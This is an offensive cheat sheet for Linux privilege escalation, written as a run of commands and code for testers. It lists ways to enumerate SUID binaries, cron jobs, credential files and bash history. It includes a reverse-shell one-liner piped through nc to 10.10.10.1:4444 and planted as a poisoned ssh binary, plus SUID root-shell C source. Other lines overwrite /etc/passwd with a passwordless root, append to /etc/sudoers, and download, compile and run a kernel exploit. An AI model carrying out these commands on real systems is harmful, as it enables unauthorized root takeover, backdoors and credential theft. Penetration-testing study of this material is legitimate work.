Linux elevation of privileges, manual testing
Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo), miss-configured environment ($PATH), binary with SUID bit, software or OS with known vulnerabilities.
First try simple sudo:
$ sudo su -
What can we run with sudo?
$ sudo -l
Try su as all users and the username as password
What services are running as root?:
$ ps aux | grep root
Look for vulnerable/privileged components such as: mysql, sudo, udev, python
If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root directory, put a binary with SUID bit on, and get root.
If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.
The following command will list processes running by root, permissions and NFS exports.
$ echo 'services running as root'; ps aux | grep root; echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null
Use netstat to find other machines connected
$ netstat -ano
Command to skip ignored lines in config files
$ alias nonempty="egrep -v '^[ \t]*#|^$'"
If Mysql is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:
sys_exec('usermod -a -G admin username')
More about mysql:
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Find linux distribution & version
$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;
Architecture
$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release
Environment variables
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set
Find printers
$ lpstat -a
Find apps installed;
$ ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;
Find writable configuration files
$ find /etc/ -writable -type f 2>/dev/null
Miss-configured services
$ cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
Scheduled jobs
$ crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny
Grep hardcoded passwords
$ grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
if web server run in web root:
$ grep "localhost" ./ -R
Network configuration
$ /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname
List other users home directories
$ ls -ahlR /root/; ls -ahlR /home/
User bash history
$ cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history
User mails
$ cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root
Find interesting binaries
$ find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp
Mounted filesystems
$ mount; df -h; cat /etc/fstab
Look for binaries with the SUID or GUID bits set.
$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
$ find / -perm -1000 -type d 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
if you can just change PATH, the following will add a poisoned ssh binary:
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
Generating SUID C Shell for /bin/bash
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
Without interactive shell
$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:
$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
If /etc/passwd has incorrect permissions, you can root:
$ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
Add user www-data to sudoers with no password
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
If you can sudo chmod:
$echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid
Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info:
https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562
compile exploit fix error
$ gcc 9545.c -o 9545 -Wl,--hash-style=both
Find other uses in the system
$id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l
World readable/writable files:
$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;
Find world-readable files:
$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
Find nobody owned files
$ find /dir -xdev \( -nouser -o -nogroup \) -print
Add user to sudoers in python.
#!/usr/bin/env python
import os
import sys
try:
os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
sys.exit()
Ring0 kernel exploit for 2.3/2.4
wget
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0
Inspect web traffic
$ tcpdump tcp port 80 -w output.pcap -i eth0